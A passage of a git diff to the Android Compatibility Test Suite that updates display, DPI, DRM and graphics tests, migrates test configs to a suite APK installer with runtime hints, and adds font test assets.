         assertFalse(cap.getDesiredMaxAverageLuminance() < -1.0f);
+        assertFalse(display.isHdr());
     }
 
     /**
@@ -204,13 +215,29 @@
         assertTrue(0 < display.getRefreshRate());
 
         assertTrue(display.getName().contains(OVERLAY_DISPLAY_NAME_PREFIX));
+
+        assertFalse(display.isWideColorGamut());
     }
 
     /**
      * Test that the getMetrics method fills in correct values.
      */
     public void testGetMetrics() {
-        Display display = getSecondaryDisplay(mDisplayManager.getDisplays());
+        testGetMetrics(mDisplayManager);
+    }
+
+    /**
+     * Tests getting metrics from the Activity context.
+     */
+    public void testActivityContextGetMetrics() {
+        final Activity activity = launchActivity(mDisplayTestActivity);
+        final DisplayManager dm =
+                (DisplayManager) activity.getSystemService(Context.DISPLAY_SERVICE);
+        testGetMetrics(dm);
+    }
+
+    public void testGetMetrics(DisplayManager manager) {
+        Display display = getSecondaryDisplay(manager.getDisplays());
 
         Point outSize = new Point();
         display.getSize(outSize);
@@ -234,22 +261,6 @@
     }
 
     /**
-     * Test that the getCurrentSizeRange method returns correct values.
-     */
-    public void testGetCurrentSizeRange() {
-        Display display = getSecondaryDisplay(mDisplayManager.getDisplays());
-
-        Point smallest = new Point();
-        Point largest = new Point();
-        display.getCurrentSizeRange(smallest, largest);
-
-        assertEquals(SECONDARY_DISPLAY_WIDTH, smallest.x);
-        assertEquals(SECONDARY_DISPLAY_HEIGHT, smallest.y);
-        assertEquals(SECONDARY_DISPLAY_WIDTH, largest.x);
-        assertEquals(SECONDARY_DISPLAY_HEIGHT, largest.y);
-    }
-
-    /**
      * Test that the getFlags method returns no flag bits set for the overlay display.
      */
     public void testFlags() {
@@ -354,7 +365,7 @@
 
             WindowManager.LayoutParams params = getWindow().getAttributes();
             params.preferredDisplayModeId = mModeId;
-            params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+            params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
             params.setTitle("CtsTestPresentation");
             getWindow().setAttributes(params);
         }
@@ -369,4 +380,10 @@
         launchActivity(targetPackage, clazz, null);
         return monitor.waitForActivity();
     }
+
+    private Activity launchActivity(ActivityTestRule activityRule) {
+        final Activity activity = activityRule.launchActivity(null);
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        return activity;
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTestActivity.java b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
new file mode 100644
index 0000000..79e4ac0
--- /dev/null
+++ b/tests/tests/display/src/android/display/cts/DisplayTestActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.display.cts;
+
+import android.app.Activity;
+
+/**
+ * Test activity to exercise getting metrics for displays.
+ */
+public class DisplayTestActivity extends Activity {
+}
diff --git a/tests/tests/dpi/AndroidTest.xml b/tests/tests/dpi/AndroidTest.xml
index b8d941b..e12b36d 100644
--- a/tests/tests/dpi/AndroidTest.xml
+++ b/tests/tests/dpi/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS DPI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDpiTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.dpi.cts" />
+        <option name="runtime-hint" value="10m10s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/dpi/src/android/dpi/cts/AspectRatioTest.java b/tests/tests/dpi/src/android/dpi/cts/AspectRatioTest.java
deleted file mode 100644
index fafce61..0000000
--- a/tests/tests/dpi/src/android/dpi/cts/AspectRatioTest.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.dpi.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.ActivityInfo;
-import android.content.pm.PackageManager;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.WindowManager;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class AspectRatioTest extends ActivityInstrumentationTestCase2<OrientationActivity> {
-
-    private static final int[] ORIENTATIONS = new int[] {
-        ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
-        ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
-    };
-
-    public AspectRatioTest() {
-        super(OrientationActivity.class);
-    }
-
-    /**
-     * Get the full screen size directly (including system bar) to calculate
-     * aspect ratio. With this, the screen orientation doesn't affect the aspect
-     * ratio value anymore. Test that the aspect ratio is within the range.
-     */
-    public void testAspectRatio() throws Exception {
-        double aspectRatio = getRealAspectRatio(getActivity());
-        if (aspectRatio >= 1.333 && aspectRatio <= 1.86) {
-            return;
-        }
-        if (getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            // Watch allows for a different set of aspect ratios.
-            if (aspectRatio >= 1.0 && aspectRatio <= 1.86) {
-                return;
-            }
-        }
-        fail("Aspect ratio was not between 1.333 and 1.86: " + aspectRatio);
-    }
-
-    private double getRealAspectRatio(Context context) {
-        WindowManager windowManager =
-                (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
-        Display display = windowManager.getDefaultDisplay();
-        DisplayMetrics metrics = new DisplayMetrics();
-        display.getRealMetrics(metrics);
-
-        int max = Math.max(metrics.widthPixels, metrics.heightPixels);
-        int min = Math.min(metrics.widthPixels, metrics.heightPixels);
-        return (double) max / min;
-    }
-}
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 6e7c649..d6dd8fe 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -20,6 +20,8 @@
 # We use the DefaultManifestAttributesTest from the android.cts.dpi package.
 LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsDpiTestCases2
diff --git a/tests/tests/dpi2/AndroidManifest.xml b/tests/tests/dpi2/AndroidManifest.xml
index bb21910..689be29 100644
--- a/tests/tests/dpi2/AndroidManifest.xml
+++ b/tests/tests/dpi2/AndroidManifest.xml
@@ -25,7 +25,7 @@
 
     <!-- target cupcake so we can test the default attributes get set
          properly for the screen size attributes. -->
-    <uses-sdk android:targetSdkVersion="3" />
+    <uses-sdk android:minSdkVersion="3" android:targetSdkVersion="3" />
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.dpi2.cts"
diff --git a/tests/tests/dpi2/AndroidTest.xml b/tests/tests/dpi2/AndroidTest.xml
index dfb1730..589935d 100644
--- a/tests/tests/dpi2/AndroidTest.xml
+++ b/tests/tests/dpi2/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS DPI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDpiTestCases2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.dpi2.cts" />
+        <option name="runtime-hint" value="10m40s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index b334ade..12d3358 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2015 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Dreams test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDreamsTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.dreams.cts" />
+        <option name="runtime-hint" value="10m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index 136ff7c..d67c048 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -24,7 +24,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/drm/AndroidTest.xml b/tests/tests/drm/AndroidTest.xml
index 48287aa..1a9d0b7 100644
--- a/tests/tests/drm/AndroidTest.xml
+++ b/tests/tests/drm/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS DRM test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDrmTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.drm.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/drm/res/raw/testmp3_2.mp3 b/tests/tests/drm/res/raw/testmp3_2.mp3
new file mode 100644
index 0000000..6a70c69
--- /dev/null
+++ b/tests/tests/drm/res/raw/testmp3_2.mp3
Binary files differ
diff --git a/tests/tests/drm/src/android/drm/cts/DRMTest.java b/tests/tests/drm/src/android/drm/cts/DRMTest.java
index bb77668..e632842 100644
--- a/tests/tests/drm/src/android/drm/cts/DRMTest.java
+++ b/tests/tests/drm/src/android/drm/cts/DRMTest.java
@@ -16,15 +16,29 @@
 
 package android.drm.cts;
 
+import com.android.compatibility.common.util.MediaUtils;
 
 import android.content.ContentValues;
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.io.SequenceInputStream;
+import java.nio.charset.StandardCharsets;
+import java.io.ByteArrayInputStream;
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
 import java.util.HashMap;
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Enumeration;
 import java.util.Iterator;
+import java.util.Vector;
 
 import android.drm.DrmManagerClient;
 import android.drm.DrmConvertedStatus;
@@ -35,6 +49,11 @@
 import android.drm.DrmRights;
 import android.drm.DrmStore;
 import android.drm.DrmUtils;
+import android.media.MediaExtractor;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
 
 public class DRMTest extends AndroidTestCase {
     private static String TAG = "CtsDRMTest";
@@ -197,6 +216,90 @@
         }
     }
 
+    public void testForwardLockAccess()  throws Exception {
+        DrmManagerClient drmManager= new DrmManagerClient(mContext);
+        String[] engines = drmManager.getAvailableDrmEngines();
+        boolean haveForwardLock = false;
+        for (String engine: engines) {
+            if (engine.equals("OMA V1 Forward Lock")) {
+                haveForwardLock = true;
+            }
+        }
+        drmManager.close();
+        if (!haveForwardLock) {
+            Log.i(TAG, "Skipping forward lock test because forward lock is not available");
+            return;
+        }
+
+        Vector<InputStream> sequence = new Vector<InputStream>();
+
+        String dmHeader = "--mime_content_boundary\r\n" +
+        "Content-Type: audio/mpeg\r\n" +
+        "Content-Transfer-Encoding: binary\r\n\r\n";
+        sequence.add(new ByteArrayInputStream(dmHeader.getBytes(StandardCharsets.UTF_8)));
+
+        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3_2);
+        FileInputStream body = afd.createInputStream();
+        sequence.add(body);
+
+        String dmFooter = "\r\n--mime_content_boundary--";
+        sequence.add(new ByteArrayInputStream(dmFooter.getBytes(StandardCharsets.UTF_8)));
+
+        SequenceInputStream dmStream = new SequenceInputStream(sequence.elements());
+        String flPath = mContext.getExternalCacheDir() + "/temp.fl";
+        RandomAccessFile flFile = new RandomAccessFile(flPath, "rw");
+        assertTrue("couldn't convert to fl file",
+                MediaUtils.convertDmToFl(mContext, dmStream,  flFile));
+        dmStream.close(); // this closes the underlying streams and AFD as well
+        flFile.close();
+
+        ParcelFileDescriptor flFd = null;
+        try {
+            // check that the .fl file can be played
+            MediaPlayer player = new MediaPlayer();
+            try {
+                flFd = ParcelFileDescriptor.open(
+                        new File(flPath), ParcelFileDescriptor.MODE_READ_ONLY);
+                player.setDataSource(flFd.getFileDescriptor(), 0, flFd.getStatSize());
+                player.prepare();
+                player.start();
+                SystemClock.sleep(2000);
+                assertTrue("player is not playing", player.isPlaying());
+                player.release();
+            } catch (Exception e) {
+                Log.d(TAG, "MediaPlayer playback failed:", e);
+            } finally {
+                player.release();
+            }
+
+            // check that the .fl file can be parsed with MediaMetadataRetriever
+            MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+            try {
+                retriever.setDataSource(flFd.getFileDescriptor());
+                String numTracks =
+                        retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS);
+                assertEquals("wrong number of tracks found in file", "1", numTracks);
+            } finally {
+                retriever.release();
+            }
+
+            // check that the .fl file cannot be opened with MediaExtractor
+            MediaExtractor ex = new MediaExtractor();
+            try {
+                ex.setDataSource(flFd.getFileDescriptor());
+                int n = ex.getTrackCount();
+                fail("extractor creation should have failed, but found " + n + " tracks");
+            } catch (Exception e) {
+                // ignore, expected to fail
+            } finally {
+                ex.release();
+            }
+        } finally {
+            flFd.close();
+            new File(flPath).delete();
+        }
+    }
+
     private class OnEventListenerImpl implements DrmManagerClient.OnEventListener {
         private Config mConfig;
         public OnEventListenerImpl(Config config) {
diff --git a/tests/tests/effect/AndroidTest.xml b/tests/tests/effect/AndroidTest.xml
index abf2b22..072028b 100644
--- a/tests/tests/effect/AndroidTest.xml
+++ b/tests/tests/effect/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Effect test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsEffectTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.effect.cts" />
+        <option name="runtime-hint" value="8m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index 3208177..14e82c5 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index b07f248..7f6a7e5 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS External Service test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsExternalServiceService.apk" />
         <option name="test-file-name" value="CtsExternalServiceTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.externalservice.cts" />
+        <option name="runtime-hint" value="12m" />
     </test>
 </configuration>
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index 9541b0e..e99a71d 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -21,7 +21,7 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon ctstestrunner ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := CtsExternalServiceCommon ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 497cad1..5169643 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Gesture test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGestureTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.gesture.cts" />
+        <option name="runtime-hint" value="10m50s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index 5329800..af59cbf 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -22,12 +22,15 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    mockito-target \
-    ctsdeviceutil \
+LOCAL_STATIC_JAVA_LIBRARIES += \
+    android-support-test \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
     ctstestrunner \
+    android-support-annotations \
     junit \
     legacy-android-test
+
 LOCAL_JNI_SHARED_LIBRARIES := libctsgraphics_jni
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -37,6 +40,9 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index f14506f..360e09f 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -31,26 +31,9 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.graphics.cts.MockActivity" android:label="MockActivity" />
-
-        <activity android:name="android.opengl.cts.CompressedTextureCtsActivity"
-            android:label="CompressedTextureCtsActivity"
-            android:screenOrientation="nosensor">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name="android.opengl.cts.EglConfigCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize|uiMode" />
-
-        <activity android:name="android.opengl.cts.GLSurfaceViewCtsActivity"
-                  android:label="GLSurfaceViewCts"/>
-
-        <activity android:name="android.opengl.cts.OpenGlEsVersionCtsActivity"/>
-
-        <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"/>
+        <activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
+                  android:theme="@style/WhiteBackgroundNoWindowAnimation"
+                  android:screenOrientation="locked"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/AndroidTest.xml b/tests/tests/graphics/AndroidTest.xml
index a9f746b..81a7045 100644
--- a/tests/tests/graphics/AndroidTest.xml
+++ b/tests/tests/graphics/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Graphics test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGraphicsTestCases.apk" />
     </target_preparer>
@@ -22,4 +23,4 @@
         <option name="package" value="android.graphics.cts" />
         <option name="runtime-hint" value="5m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttf
new file mode 100644
index 0000000..e628c9b
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttx
new file mode 100644
index 0000000..edadbb5
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding0.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="0" platEncID="0" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttf
new file mode 100644
index 0000000..d5ee96b
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttx
new file mode 100644
index 0000000..a5d20b3
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding1.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
